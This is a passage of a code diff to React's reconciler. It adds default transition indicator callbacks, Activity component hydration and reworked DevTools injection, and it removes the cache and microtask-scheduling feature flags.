+  parentComponent: ?component(...props: any),
 ): Object {
   if (!parentComponent) {
     return emptyContextObject;
@@ -238,6 +237,7 @@ export function createContainer(
   tag: RootTag,
   hydrationCallbacks: null | SuspenseHydrationCallbacks,
   isStrictMode: boolean,
+  // TODO: Remove `concurrentUpdatesByDefaultOverride`. It is now ignored.
   concurrentUpdatesByDefaultOverride: null | boolean,
   identifierPrefix: string,
   onUncaughtError: (
@@ -248,32 +248,35 @@ export function createContainer(
     error: mixed,
     errorInfo: {
       +componentStack?: ?string,
-      +errorBoundary?: ?React$Component<any, any>,
+      +errorBoundary?: ?component(...props: any),
     },
   ) => void,
   onRecoverableError: (
     error: mixed,
     errorInfo: {+componentStack?: ?string},
   ) => void,
+  onDefaultTransitionIndicator: () => void | (() => void),
   transitionCallbacks: null | TransitionTracingCallbacks,
 ): OpaqueRoot {
   const hydrate = false;
   const initialChildren = null;
-  return createFiberRoot(
+  const root = createFiberRoot(
     containerInfo,
     tag,
     hydrate,
     initialChildren,
     hydrationCallbacks,
     isStrictMode,
-    concurrentUpdatesByDefaultOverride,
     identifierPrefix,
+    null,
     onUncaughtError,
     onCaughtError,
     onRecoverableError,
+    onDefaultTransitionIndicator,
     transitionCallbacks,
-    null,
   );
+  registerDefaultIndicator(onDefaultTransitionIndicator);
+  return root;
 }
 
 export function createHydrationContainer(
@@ -284,6 +287,7 @@ export function createHydrationContainer(
   tag: RootTag,
   hydrationCallbacks: null | SuspenseHydrationCallbacks,
   isStrictMode: boolean,
+  // TODO: Remove `concurrentUpdatesByDefaultOverride`. It is now ignored.
   concurrentUpdatesByDefaultOverride: null | boolean,
   identifierPrefix: string,
   onUncaughtError: (
@@ -294,13 +298,14 @@ export function createHydrationContainer(
     error: mixed,
     errorInfo: {
       +componentStack?: ?string,
-      +errorBoundary?: ?React$Component<any, any>,
+      +errorBoundary?: ?component(...props: any),
     },
   ) => void,
   onRecoverableError: (
     error: mixed,
     errorInfo: {+componentStack?: ?string},
   ) => void,
+  onDefaultTransitionIndicator: () => void | (() => void),
   transitionCallbacks: null | TransitionTracingCallbacks,
   formState: ReactFormState<any, any> | null,
 ): OpaqueRoot {
@@ -312,15 +317,17 @@ export function createHydrationContainer(
     initialChildren,
     hydrationCallbacks,
     isStrictMode,
-    concurrentUpdatesByDefaultOverride,
     identifierPrefix,
+    formState,
     onUncaughtError,
     onCaughtError,
     onRecoverableError,
+    onDefaultTransitionIndicator,
     transitionCallbacks,
-    formState,
   );
 
+  registerDefaultIndicator(onDefaultTransitionIndicator);
+
   // TODO: Move this to FiberRoot constructor
   root.context = getContextForSubtree(null);
 
@@ -331,11 +338,13 @@ export function createHydrationContainer(
   // the update to schedule work on the root fiber (and, for legacy roots, to
   // enqueue the callback if one is provided).
   const current = root.current;
-  const lane = requestUpdateLane(current);
+  let lane = requestUpdateLane(current);
+  lane = getBumpedLaneForHydrationByLane(lane);
   const update = createUpdate(lane);
   update.callback =
     callback !== undefined && callback !== null ? callback : null;
   enqueueUpdate(current, update, lane);
+  startUpdateTimerByLane(lane, 'hydrateRoot()', null);
   scheduleInitialHydrationOnRoot(root, lane);
 
   return root;
@@ -344,7 +353,7 @@ export function createHydrationContainer(
 export function updateContainer(
   element: ReactNodeList,
   container: OpaqueRoot,
-  parentComponent: ?React$Component<any, any>,
+  parentComponent: ?component(...props: any),
   callback: ?Function,
 ): Lane {
   const current = container.current;
@@ -363,11 +372,11 @@ export function updateContainer(
 export function updateContainerSync(
   element: ReactNodeList,
   container: OpaqueRoot,
-  parentComponent: ?React$Component<any, any>,
+  parentComponent: ?component(...props: any),
   callback: ?Function,
 ): Lane {
-  if (container.tag === LegacyRoot) {
-    flushPassiveEffects();
+  if (!disableLegacyMode && container.tag === LegacyRoot) {
+    flushPendingEffects();
   }
   const current = container.current;
   updateContainerImpl(
@@ -386,7 +395,7 @@ function updateContainerImpl(
   lane: Lane,
   element: ReactNodeList,
   container: OpaqueRoot,
-  parentComponent: ?React$Component<any, any>,
+  parentComponent: ?component(...props: any),
   callback: ?Function,
 ): void {
   if (__DEV__) {
@@ -442,6 +451,7 @@ function updateContainerImpl(
 
   const root = enqueueUpdate(rootFiber, update, lane);
   if (root !== null) {
+    startUpdateTimerByLane(lane, 'root.render()', null);
     scheduleUpdateOnFiber(root, rootFiber, lane);
     entangleTransitions(root, rootFiber, lane);
   }
@@ -454,12 +464,12 @@ export {
   flushSyncFromReconciler,
   flushSyncWork,
   isAlreadyRendering,
-  flushPassiveEffects,
+  flushPendingEffects as flushPassiveEffects,
 };
 
 export function getPublicRootInstance(
   container: OpaqueRoot,
-): React$Component<any, any> | PublicInstance | null {
+): component(...props: any) | PublicInstance | null {
   const containerFiber = container.current;
   if (!containerFiber.child) {
     return null;
@@ -484,6 +494,7 @@ export function attemptSynchronousHydration(fiber: Fiber): void {
       }
       break;
     }
+    case ActivityComponent:
     case SuspenseComponent: {
       const root = enqueueConcurrentRenderForLane(fiber, SyncLane);
       if (root !== null) {
@@ -501,7 +512,8 @@ export function attemptSynchronousHydration(fiber: Fiber): void {
 }
 
 function markRetryLaneImpl(fiber: Fiber, retryLane: Lane) {
-  const suspenseState: null | SuspenseState = fiber.memoizedState;
+  const suspenseState: null | SuspenseState | ActivityState =
+    fiber.memoizedState;
   if (suspenseState !== null && suspenseState.dehydrated !== null) {
     suspenseState.retryLane = higherPriorityLane(
       suspenseState.retryLane,
@@ -520,7 +532,7 @@ function markRetryLaneIfNotHydrated(fiber: Fiber, retryLane: Lane) {
 }
 
 export function attemptContinuousHydration(fiber: Fiber): void {
-  if (fiber.tag !== SuspenseComponent) {
+  if (fiber.tag !== SuspenseComponent && fiber.tag !== ActivityComponent) {
     // We ignore HostRoots here because we can't increase
     // their priority and they should not suspend on I/O,
     // since you have to wrap anything that might suspend in
@@ -536,12 +548,13 @@ export function attemptContinuousHydration(fiber: Fiber): void {
 }
 
 export function attemptHydrationAtCurrentPriority(fiber: Fiber): void {
-  if (fiber.tag !== SuspenseComponent) {
+  if (fiber.tag !== SuspenseComponent && fiber.tag !== ActivityComponent) {
     // We ignore HostRoots here because we can't increase
     // their priority other than synchronously flush it.
     return;
   }
-  const lane = requestUpdateLane(fiber);
+  let lane = requestUpdateLane(fiber);
+  lane = getBumpedLaneForHydrationByLane(lane);
   const root = enqueueConcurrentRenderForLane(fiber, lane);
   if (root !== null) {
     scheduleUpdateOnFiber(root, fiber, lane);
@@ -582,6 +595,7 @@ let overrideProps = null;
 let overridePropsDeletePath = null;
 let overridePropsRenamePath = null;
 let scheduleUpdate = null;
+let scheduleRetry = null;
 let setErrorHandler = null;
 let setSuspenseHandler = null;
 
@@ -818,6 +832,14 @@ if (__DEV__) {
     }
   };
 
+  scheduleRetry = (fiber: Fiber) => {
+    const lane = claimNextRetryLane();
+    const root = enqueueConcurrentRenderForLane(fiber, lane);
+    if (root !== null) {
+      scheduleUpdateOnFiber(root, fiber, lane);
+    }
+  };
+
   setErrorHandler = (newShouldErrorImpl: Fiber => ?boolean) => {
     shouldErrorImpl = newShouldErrorImpl;
   };
@@ -827,54 +849,64 @@ if (__DEV__) {
   };
 }
 
-function findHostInstanceByFiber(fiber: Fiber): Instance | TextInstance | null {
-  const hostFiber = findCurrentHostFiber(fiber);
-  if (hostFiber === null) {
-    return null;
-  }
-  return hostFiber.stateNode;
+function getCurrentFiberForDevTools() {
+  return ReactCurrentFiberCurrent;
 }
 
-function emptyFindFiberByHostInstance(
-  instance: Instance | TextInstance,
-): Fiber | null {
-  return null;
-}
+function getLaneLabelMap(): Map<Lane, string> | null {
+  if (enableSchedulingProfiler) {
+    const map: Map<Lane, string> = new Map();
 
-function getCurrentFiberForDevTools() {
-  return ReactCurrentFiberCurrent;
+    let lane = 1;
+    for (let index = 0; index < TotalLanes; index++) {
+      const label = ((getLabelForLane(lane): any): string);
+      map.set(lane, label);
+      lane *= 2;
+    }
+
+    return map;
+  } else {
+    return null;
+  }
 }
 
-export function injectIntoDevTools(devToolsConfig: DevToolsConfig): boolean {
-  const {findFiberByHostInstance} = devToolsConfig;
-
-  return injectInternals({
-    bundleType: devToolsConfig.bundleType,
-    version: devToolsConfig.version,
-    rendererPackageName: devToolsConfig.rendererPackageName,
-    rendererConfig: devToolsConfig.rendererConfig,
-    overrideHookState,
-    overrideHookStateDeletePath,
-    overrideHookStateRenamePath,
-    overrideProps,
-    overridePropsDeletePath,
-    overridePropsRenamePath,
-    setErrorHandler,
-    setSuspenseHandler,
-    scheduleUpdate,
+export function injectIntoDevTools(): boolean {
+  const internals: Object = {
+    bundleType: __DEV__ ? 1 : 0, // Might add PROFILE later.
+    version: rendererVersion,
+    rendererPackageName: rendererPackageName,
     currentDispatcherRef: ReactSharedInternals,
-    findHostInstanceByFiber,
-    findFiberByHostInstance:
-      findFiberByHostInstance || emptyFindFiberByHostInstance,
-    // React Refresh
-    findHostInstancesForRefresh: __DEV__ ? findHostInstancesForRefresh : null,
-    scheduleRefresh: __DEV__ ? scheduleRefresh : null,
-    scheduleRoot: __DEV__ ? scheduleRoot : null,
-    setRefreshHandler: __DEV__ ? setRefreshHandler : null,
-    // Enables DevTools to append owner stacks to error messages in DEV mode.
-    getCurrentFiber: __DEV__ ? getCurrentFiberForDevTools : null,
     // Enables DevTools to detect reconciler version rather than renderer version
     // which may not match for third party renderers.
     reconcilerVersion: ReactVersion,
-  });
+  };
+  if (extraDevToolsConfig !== null) {
+    internals.rendererConfig = (extraDevToolsConfig: RendererInspectionConfig);
+  }
+  if (__DEV__) {
+    internals.overrideHookState = overrideHookState;
+    internals.overrideHookStateDeletePath = overrideHookStateDeletePath;
+    internals.overrideHookStateRenamePath = overrideHookStateRenamePath;
+    internals.overrideProps = overrideProps;
+    internals.overridePropsDeletePath = overridePropsDeletePath;
+    internals.overridePropsRenamePath = overridePropsRenamePath;
+    internals.scheduleUpdate = scheduleUpdate;
+    internals.scheduleRetry = scheduleRetry;
+    internals.setErrorHandler = setErrorHandler;
+    internals.setSuspenseHandler = setSuspenseHandler;
+    // React Refresh
+    internals.scheduleRefresh = scheduleRefresh;
+    internals.scheduleRoot = scheduleRoot;
+    internals.setRefreshHandler = setRefreshHandler;
+    // Enables DevTools to append owner stacks to error messages in DEV mode.
+    internals.getCurrentFiber = getCurrentFiberForDevTools;
+  }
+  if (enableSchedulingProfiler) {
+    // Conditionally inject these hooks only if Timeline profiler is supported by this build.
+    // This gives DevTools a way to feature detect that isn't tied to version number
+    // (since profiling and timeline are controlled by different feature flags).
+    internals.getLaneLabelMap = getLaneLabelMap;
+    internals.injectProfilingHooks = injectProfilingHooks;
+  }
+  return injectInternals(internals);
 }
diff --git a/packages/react-reconciler/src/ReactFiberRoot.js b/packages/react-reconciler/src/ReactFiberRoot.js
index e69989e61624..26386597ee44 100644
--- a/packages/react-reconciler/src/ReactFiberRoot.js
+++ b/packages/react-reconciler/src/ReactFiberRoot.js
@@ -28,12 +28,14 @@ import {
 } from './ReactFiberLane';
 import {
   enableSuspenseCallback,
-  enableCache,
   enableProfilerCommitHooks,
   enableProfilerTimer,
   enableUpdaterTracking,
   enableTransitionTracing,
   disableLegacyMode,
+  enableViewTransition,
+  enableGestureTransition,
+  enableDefaultTransitionIndicator,
 } from 'shared/ReactFeatureFlags';
 import {initializeUpdateQueue} from './ReactFiberClassUpdateQueue';
 import {LegacyRoot, ConcurrentRoot} from './ReactRootTags';
@@ -55,6 +57,7 @@ function FiberRootNode(
   onUncaughtError: any,
   onCaughtError: any,
   onRecoverableError: any,
+  onDefaultTransitionIndicator: any,
   formState: ReactFormState<any, any> | null,
 ) {
   this.tag = disableLegacyMode ? ConcurrentRoot : tag;
@@ -62,7 +65,6 @@ function FiberRootNode(
   this.pendingChildren = null;
   this.current = null;
   this.pingCache = null;
-  this.finishedWork = null;
   this.timeoutHandle = noTimeout;
   this.cancelPendingCommit = null;
   this.context = null;
@@ -75,8 +77,11 @@ function FiberRootNode(
   this.pendingLanes = NoLanes;
   this.suspendedLanes = NoLanes;
   this.pingedLanes = NoLanes;
+  this.warmLanes = NoLanes;
   this.expiredLanes = NoLanes;
-  this.finishedLanes = NoLanes;
+  if (enableDefaultTransitionIndicator) {
+    this.indicatorLanes = NoLanes;
+  }
   this.errorRecoveryDisabledLanes = NoLanes;
   this.shellSuspendCounter = 0;
 
@@ -90,29 +95,38 @@ function FiberRootNode(
   this.onCaughtError = onCaughtError;
   this.onRecoverableError = onRecoverableError;
 
-  if (enableCache) {
-    this.pooledCache = null;
-    this.pooledCacheLanes = NoLanes;
+  if (enableDefaultTransitionIndicator) {
+    this.onDefaultTransitionIndicator = onDefaultTransitionIndicator;
+    this.pendingIndicator = null;
   }
 
+  this.pooledCache = null;
+  this.pooledCacheLanes = NoLanes;
+
   if (enableSuspenseCallback) {
     this.hydrationCallbacks = null;
   }
 
   this.formState = formState;
 
+  if (enableViewTransition) {
+    this.transitionTypes = null;
+  }
+
+  if (enableGestureTransition) {
+    this.pendingGestures = null;
+    this.gestureClone = null;
+  }
+
   this.incompleteTransitions = new Map();
   if (enableTransitionTracing) {
     this.transitionCallbacks = null;
-    const transitionLanesMap = (this.transitionLanes = []);
-    for (let i = 0; i < TotalLanes; i++) {
-      transitionLanesMap.push(null);
-    }
+    this.transitionLanes = createLaneMap(null);
   }
 
   if (enableProfilerTimer && enableProfilerCommitHooks) {
-    this.effectDuration = 0;
-    this.passiveEffectDuration = 0;
+    this.effectDuration = -0;
+    this.passiveEffectDuration = -0;
   }
 
   if (enableUpdaterTracking) {
@@ -147,12 +161,12 @@ export function createFiberRoot(
   initialChildren: ReactNodeList,
   hydrationCallbacks: null | SuspenseHydrationCallbacks,
   isStrictMode: boolean,
-  concurrentUpdatesByDefaultOverride: null | boolean,
   // TODO: We have several of these arguments that are conceptually part of the
   // host config, but because they are passed in at runtime, we have to thread
   // them through the root constructor. Perhaps we should put them all into a
   // single type, like a DynamicHostConfig that is defined by the renderer.
   identifierPrefix: string,
+  formState: ReactFormState<any, any> | null,
   onUncaughtError: (
     error: mixed,
     errorInfo: {+componentStack?: ?string},
@@ -161,15 +175,15 @@ export function createFiberRoot(
     error: mixed,
     errorInfo: {
       +componentStack?: ?string,
-      +errorBoundary?: ?React$Component<any, any>,
+      +errorBoundary?: ?component(...props: any),
     },
   ) => void,
   onRecoverableError: (
     error: mixed,
     errorInfo: {+componentStack?: ?string},
   ) => void,
+  onDefaultTransitionIndicator: () => void | (() => void),
   transitionCallbacks: null | TransitionTracingCallbacks,
-  formState: ReactFormState<any, any> | null,
 ): FiberRoot {
   // $FlowFixMe[invalid-constructor] Flow no longer supports calling new on functions
   const root: FiberRoot = (new FiberRootNode(
@@ -180,6 +194,7 @@ export function createFiberRoot(
     onUncaughtError,
     onCaughtError,
     onRecoverableError,
+    onDefaultTransitionIndicator,
     formState,
   ): any);
   if (enableSuspenseCallback) {
@@ -192,41 +207,28 @@ export function createFiberRoot(
 
   // Cyclic construction. This cheats the type system right now because
   // stateNode is any.
-  const uninitializedFiber = createHostRootFiber(
-    tag,
-    isStrictMode,
-    concurrentUpdatesByDefaultOverride,
-  );
+  const uninitializedFiber = createHostRootFiber(tag, isStrictMode);
   root.current = uninitializedFiber;
   uninitializedFiber.stateNode = root;
 
-  if (enableCache) {
-    const initialCache = createCache();
-    retainCache(initialCache);
-
-    // The pooledCache is a fresh cache instance that is used temporarily
-    // for newly mounted boundaries during a render. In general, the
-    // pooledCache is always cleared from the root at the end of a render:
-    // it is either released when render commits, or moved to an Offscreen
-    // component if rendering suspends. Because the lifetime of the pooled
-    // cache is distinct from the main memoizedState.cache, it must be
-    // retained separately.
-    root.pooledCache = initialCache;
-    retainCache(initialCache);
-    const initialState: RootState = {
-      element: initialChildren,
-      isDehydrated: hydrate,
-      cache: initialCache,
-    };
-    uninitializedFiber.memoizedState = initialState;
-  } else {
-    const initialState: RootState = {
-      element: initialChildren,
-      isDehydrated: hydrate,
-      cache: (null: any), // not enabled yet
-    };
-    uninitializedFiber.memoizedState = initialState;
-  }
+  const initialCache = createCache();
+  retainCache(initialCache);
+
+  // The pooledCache is a fresh cache instance that is used temporarily
+  // for newly mounted boundaries during a render. In general, the
+  // pooledCache is always cleared from the root at the end of a render:
+  // it is either released when render commits, or moved to an Offscreen
+  // component if rendering suspends. Because the lifetime of the pooled
+  // cache is distinct from the main memoizedState.cache, it must be
+  // retained separately.
+  root.pooledCache = initialCache;
+  retainCache(initialCache);
+  const initialState: RootState = {
+    element: initialChildren,
+    isDehydrated: hydrate,
+    cache: initialCache,
+  };
+  uninitializedFiber.memoizedState = initialState;
 
   initializeUpdateQueue(uninitializedFiber);
 
diff --git a/packages/react-reconciler/src/ReactFiberRootScheduler.js b/packages/react-reconciler/src/ReactFiberRootScheduler.js
index dc3dd366b8da..26b625522762 100644
--- a/packages/react-reconciler/src/ReactFiberRootScheduler.js
+++ b/packages/react-reconciler/src/ReactFiberRootScheduler.js
@@ -8,35 +8,48 @@
  */
 
 import type {FiberRoot} from './ReactInternalTypes';
-import type {Lane} from './ReactFiberLane';
+import type {Lane, Lanes} from './ReactFiberLane';
 import type {PriorityLevel} from 'scheduler/src/SchedulerPriorities';
-import type {BatchConfigTransition} from './ReactFiberTracingMarkerComponent';
+import type {Transition} from 'react/src/ReactStartTransition';
 
 import {
   disableLegacyMode,
-  enableDeferRootSchedulingToMicrotask,
+  disableSchedulerTimeoutInWorkLoop,
+  enableProfilerTimer,
+  enableProfilerNestedUpdatePhase,
+  enableComponentPerformanceTrack,
+  enableYieldingBeforePassive,
+  enableGestureTransition,
+  enableDefaultTransitionIndicator,
 } from 'shared/ReactFeatureFlags';
 import {
   NoLane,
   NoLanes,
   SyncLane,
+  DefaultLane,
   getHighestPriorityLane,
   getNextLanes,
   includesSyncLane,
   markStarvedLanesAsExpired,
-  upgradePendingLaneToSync,
-  claimNextTransitionLane,
+  claimNextTransitionUpdateLane,
+  getNextLanesToFlushSync,
+  checkIfRootIsPrerendering,
+  isGestureRender,
 } from './ReactFiberLane';
 import {
   CommitContext,
   NoContext,
   RenderContext,
+  flushPendingEffects,
+  flushPendingEffectsDelayed,
   getExecutionContext,
   getWorkInProgressRoot,
   getWorkInProgressRootRenderLanes,
+  getRootWithPendingPassiveEffects,
+  getPendingPassiveEffectsLanes,
+  hasPendingCommitEffects,
   isWorkLoopSuspendedOnData,
-  performConcurrentWorkOnRoot,
-  performSyncWorkOnRoot,
+  performWorkOnRoot,
 } from './ReactFiberWorkLoop';
 import {LegacyRoot} from './ReactRootTags';
 import {
@@ -59,14 +72,31 @@ import {
   supportsMicrotasks,
   scheduleMicrotask,
   shouldAttemptEagerTransition,
+  trackSchedulerEvent,
+  noTimeout,
 } from './ReactFiberConfig';
 
 import ReactSharedInternals from 'shared/ReactSharedInternals';
+import {
+  resetNestedUpdateFlag,
+  syncNestedUpdateFlag,
+} from './ReactProfilerTimer';
+import {peekEntangledActionLane} from './ReactFiberAsyncAction';
+
+import noop from 'shared/noop';
+import reportGlobalError from 'shared/reportGlobalError';
+
+import {
+  startIsomorphicDefaultIndicatorIfNeeded,
+  hasOngoingIsomorphicIndicator,
+  retainIsomorphicIndicator,
+  markIsomorphicIndicatorHandled,
+} from './ReactFiberAsyncAction';
 
 // A linked list of all the roots with pending work. In an idiomatic app,
 // there's only a single root, but we do support multi root apps, hence this
 // extra complexity. But this module is optimized for the single root case.
-let firstScheduledRoot: FiberRoot | null = null;
+export let firstScheduledRoot: FiberRoot | null = null;
 let lastScheduledRoot: FiberRoot | null = null;
 
 // Used to prevent redundant mircotasks from being scheduled.
@@ -108,55 +138,54 @@ export function ensureRootIsScheduled(root: FiberRoot): void {
   // without consulting the schedule.
   mightHavePendingSyncWork = true;
 
+  ensureScheduleIsScheduled();
+
+  if (
+    __DEV__ &&
+    !disableLegacyMode &&
+    ReactSharedInternals.isBatchingLegacy &&
+    root.tag === LegacyRoot
+  ) {
+    // Special `act` case: Record whenever a legacy update is scheduled.
+    ReactSharedInternals.didScheduleLegacyUpdate = true;
+  }
+}
+
+export function ensureScheduleIsScheduled(): void {
   // At the end of the current event, go through each of the roots and ensure
   // there's a task scheduled for each one at the correct priority.
   if (__DEV__ && ReactSharedInternals.actQueue !== null) {
     // We're inside an `act` scope.
     if (!didScheduleMicrotask_act) {
       didScheduleMicrotask_act = true;
-      scheduleImmediateTask(processRootScheduleInMicrotask);
+      scheduleImmediateRootScheduleTask();
     }
   } else {
     if (!didScheduleMicrotask) {
       didScheduleMicrotask = true;
-      scheduleImmediateTask(processRootScheduleInMicrotask);
+      scheduleImmediateRootScheduleTask();
     }
   }
-
-  if (!enableDeferRootSchedulingToMicrotask) {
-    // While this flag is disabled, we schedule the render task immediately
-    // instead of waiting a microtask.
-    // TODO: We need to land enableDeferRootSchedulingToMicrotask ASAP to
-    // unblock additional features we have planned.
-    scheduleTaskForRootDuringMicrotask(root, now());
-  }
-
-  if (
-    __DEV__ &&
-    !disableLegacyMode &&
-    ReactSharedInternals.isBatchingLegacy &&
-    root.tag === LegacyRoot
-  ) {
-    // Special `act` case: Record whenever a legacy update is scheduled.
-    ReactSharedInternals.didScheduleLegacyUpdate = true;
-  }
 }
 
 export function flushSyncWorkOnAllRoots() {
   // This is allowed to be called synchronously, but the caller should check
   // the execution context first.
-  flushSyncWorkAcrossRoots_impl(false);
+  flushSyncWorkAcrossRoots_impl(NoLanes, false);
 }
 
 export function flushSyncWorkOnLegacyRootsOnly() {
   // This is allowed to be called synchronously, but the caller should check
   // the execution context first.
   if (!disableLegacyMode) {
-    flushSyncWorkAcrossRoots_impl(true);
+    flushSyncWorkAcrossRoots_impl(NoLanes, true);
   }
 }
 
-function flushSyncWorkAcrossRoots_impl(onlyLegacy: boolean) {
+function flushSyncWorkAcrossRoots_impl(
+  syncTransitionLanes: Lanes | Lane,
+  onlyLegacy: boolean,
+) {
   if (isFlushingWork) {
     // Prevent reentrancy.
     // TODO: Is this overly defensive? The callers must check the execution
@@ -179,17 +208,36 @@ function flushSyncWorkAcrossRoots_impl(onlyLegacy: boolean) {
       if (onlyLegacy && (disableLegacyMode || root.tag !== LegacyRoot)) {
         // Skip non-legacy roots.
       } else {
-        const workInProgressRoot = getWorkInProgressRoot();
-        const workInProgressRootRenderLanes =
-          getWorkInProgressRootRenderLanes();
-        const nextLanes = getNextLanes(
-          root,
-          root === workInProgressRoot ? workInProgressRootRenderLanes : NoLanes,
-        );
-        if (includesSyncLane(nextLanes)) {
-          // This root has pending sync work. Flush it now.
-          didPerformSomeWork = true;
-          performSyncWorkOnRoot(root, nextLanes);
+        if (syncTransitionLanes !== NoLanes) {
+          const nextLanes = getNextLanesToFlushSync(root, syncTransitionLanes);
+          if (nextLanes !== NoLanes) {
+            // This root has pending sync work. Flush it now.
+            didPerformSomeWork = true;
+            performSyncWorkOnRoot(root, nextLanes);
+          }
+        } else {
+          const workInProgressRoot = getWorkInProgressRoot();
+          const workInProgressRootRenderLanes =
+            getWorkInProgressRootRenderLanes();
+          const rootHasPendingCommit =
+            root.cancelPendingCommit !== null ||
+            root.timeoutHandle !== noTimeout;
+          const nextLanes = getNextLanes(
+            root,
+            root === workInProgressRoot
+              ? workInProgressRootRenderLanes
+              : NoLanes,
+            rootHasPendingCommit,
+          );
+          if (
+            (includesSyncLane(nextLanes) ||
+              (enableGestureTransition && isGestureRender(nextLanes))) &&
+            !checkIfRootIsPrerendering(root, nextLanes)
+          ) {
+            // This root has pending sync work. Flush it now.
+            didPerformSomeWork = true;
+            performSyncWorkOnRoot(root, nextLanes);
+          }
         }
       }
       root = root.next;
@@ -198,6 +246,16 @@ function flushSyncWorkAcrossRoots_impl(onlyLegacy: boolean) {
   isFlushingWork = false;
 }
 
+function processRootScheduleInImmediateTask() {
+  if (enableProfilerTimer && enableComponentPerformanceTrack) {
+    // Track the currently executing event if there is one so we can ignore this
+    // event when logging events.
+    trackSchedulerEvent();
+  }
+
+  processRootScheduleInMicrotask();
+}
+
 function processRootScheduleInMicrotask() {
   // This function is always called inside a microtask. It should never be
   // called synchronously.
@@ -209,23 +267,29 @@ function processRootScheduleInMicrotask() {
   // We'll recompute this as we iterate through all the roots and schedule them.
   mightHavePendingSyncWork = false;
 
+  let syncTransitionLanes = NoLanes;
+  if (currentEventTransitionLane !== NoLane) {
+    if (shouldAttemptEagerTransition()) {
+      // A transition was scheduled during an event, but we're going to try to
+      // render it synchronously anyway. We do this during a popstate event to
+      // preserve the scroll position of the previous page.
+      syncTransitionLanes = currentEventTransitionLane;
+    } else if (enableDefaultTransitionIndicator) {
+      // If we have a Transition scheduled by this event it might be paired
+      // with Default lane scheduled loading indicators. To unbatch it from
+      // other events later on, flush it early to determine whether it
+      // rendered an indicator. This ensures that setState in default priority
+      // event doesn't trigger onDefaultTransitionIndicator.
+      syncTransitionLanes = DefaultLane;
+    }
+  }
+
   const currentTime = now();
 
   let prev = null;
   let root = firstScheduledRoot;
   while (root !== null) {
     const next = root.next;
-
-    if (
-      currentEventTransitionLane !== NoLane &&
-      shouldAttemptEagerTransition()
-    ) {
-      // A transition was scheduled during an event, but we're going to try to
-      // render it synchronously anyway. We do this during a popstate event to
-      // preserve the scroll position of the previous page.
-      upgradePendingLaneToSync(root, currentEventTransitionLane);
-    }
-
     const nextLanes = scheduleTaskForRootDuringMicrotask(root, currentTime);
     if (nextLanes === NoLane) {
       // This root has no more pending work. Remove it from the schedule. To
@@ -248,18 +312,73 @@ function processRootScheduleInMicrotask() {
     } else {
       // This root still has work. Keep it in the list.
       prev = root;
-      if (includesSyncLane(nextLanes)) {
+
+      // This is a fast-path optimization to early exit from
+      // flushSyncWorkOnAllRoots if we can be certain that there is no remaining
+      // synchronous work to perform. Set this to true if there might be sync
+      // work left.
+      if (
+        // Skip the optimization if syncTransitionLanes is set
+        syncTransitionLanes !== NoLanes ||
+        // Common case: we're not treating any extra lanes as synchronous, so we
+        // can just check if the next lanes are sync.
+        includesSyncLane(nextLanes) ||
+        (enableGestureTransition && isGestureRender(nextLanes))
+      ) {
         mightHavePendingSyncWork = true;
       }
     }
     root = next;
   }
 
-  currentEventTransitionLane = NoLane;
-
   // At the end of the microtask, flush any pending synchronous work. This has
   // to come at the end, because it does actual rendering work that might throw.
-  flushSyncWorkOnAllRoots();
+  // If we're in the middle of a View Transition async sequence, we don't want to
+  // interrupt that sequence. Instead, we'll flush any remaining work when it
+  // completes.
+  if (!hasPendingCommitEffects()) {
+    flushSyncWorkAcrossRoots_impl(syncTransitionLanes, false);
+  }
+
+  if (currentEventTransitionLane !== NoLane) {
+    // Reset Event Transition Lane so that we allocate a new one next time.
+    currentEventTransitionLane = NoLane;
+    startDefaultTransitionIndicatorIfNeeded();
+  }
+}
+
+function startDefaultTransitionIndicatorIfNeeded() {
+  if (!enableDefaultTransitionIndicator) {
+    return;
+  }
+  // Check if we need to start an isomorphic indicator like if an async action
+  // was started.
+  startIsomorphicDefaultIndicatorIfNeeded();
+  // Check all the roots if there are any new indicators needed.
+  let root = firstScheduledRoot;
+  while (root !== null) {
+    if (root.indicatorLanes !== NoLanes && root.pendingIndicator === null) {
+      // We have new indicator lanes that requires a loading state. Start the
+      // default transition indicator.
+      if (hasOngoingIsomorphicIndicator()) {
+        // We already have an isomorphic indicator going which means it has to
+        // also apply to this root since it implies all roots have the same one.
+        // We retain this indicator so that it keeps going until we commit this
+        // root.
+        root.pendingIndicator = retainIsomorphicIndicator();
+      } else {
+        try {
+          const onDefaultTransitionIndicator =
+            root.onDefaultTransitionIndicator;
+          root.pendingIndicator = onDefaultTransitionIndicator() || noop;
+        } catch (x) {
+          root.pendingIndicator = noop;
+          reportGlobalError(x);
+        }
+      }
+    }
+    root = root.next;
+  }
 }
 
 function scheduleTaskForRootDuringMicrotask(
@@ -269,10 +388,7 @@ function scheduleTaskForRootDuringMicrotask(
   // This function is always called inside a microtask, or at the very end of a
   // rendering task right before we yield to the main thread. It should never be
   // called synchronously.
-  //
-  // TODO: Unless enableDeferRootSchedulingToMicrotask is off. We need to land
-  // that ASAP to unblock additional features we have planned.
-  //
+
   // This function also never performs React work synchronously; it should
   // only schedule work to be performed later, in a separate task or microtask.
 
@@ -281,12 +397,24 @@ function scheduleTaskForRootDuringMicrotask(
   markStarvedLanesAsExpired(root, currentTime);
 
   // Determine the next lanes to work on, and their priority.
+  const rootWithPendingPassiveEffects = getRootWithPendingPassiveEffects();
+  const pendingPassiveEffectsLanes = getPendingPassiveEffectsLanes();
   const workInProgressRoot = getWorkInProgressRoot();
   const workInProgressRootRenderLanes = getWorkInProgressRootRenderLanes();
-  const nextLanes = getNextLanes(
-    root,
-    root === workInProgressRoot ? workInProgressRootRenderLanes : NoLanes,
-  );
+  const rootHasPendingCommit =
+    root.cancelPendingCommit !== null || root.timeoutHandle !== noTimeout;
+  const nextLanes =
+    enableYieldingBeforePassive && root === rootWithPendingPassiveEffects
+      ? // This will schedule the callback at the priority of the lane but we used to
+        // always schedule it at NormalPriority. Discrete will flush it sync anyway.
+        // So the only difference is Idle and it doesn't seem necessarily right for that
+        // to get upgraded beyond something important just because we're past commit.
+        pendingPassiveEffectsLanes
+      : getNextLanes(
+          root,
+          root === workInProgressRoot ? workInProgressRootRenderLanes : NoLanes,
+          rootHasPendingCommit,
+        );
 
   const existingCallbackNode = root.callbackNode;
   if (
@@ -311,7 +439,13 @@ function scheduleTaskForRootDuringMicrotask(
   }
 
   // Schedule a new callback in the host environment.
-  if (includesSyncLane(nextLanes)) {
+  if (
+    includesSyncLane(nextLanes) &&
+    // If we're prerendering, then we should use the concurrent work loop
+    // even if the lanes are synchronous, so that prerendering never blocks
+    // the main thread.
+    !checkIfRootIsPrerendering(root, nextLanes)
+  ) {
     // Synchronous work is always flushed at the end of the microtask, so we
     // don't need to schedule an additional task.
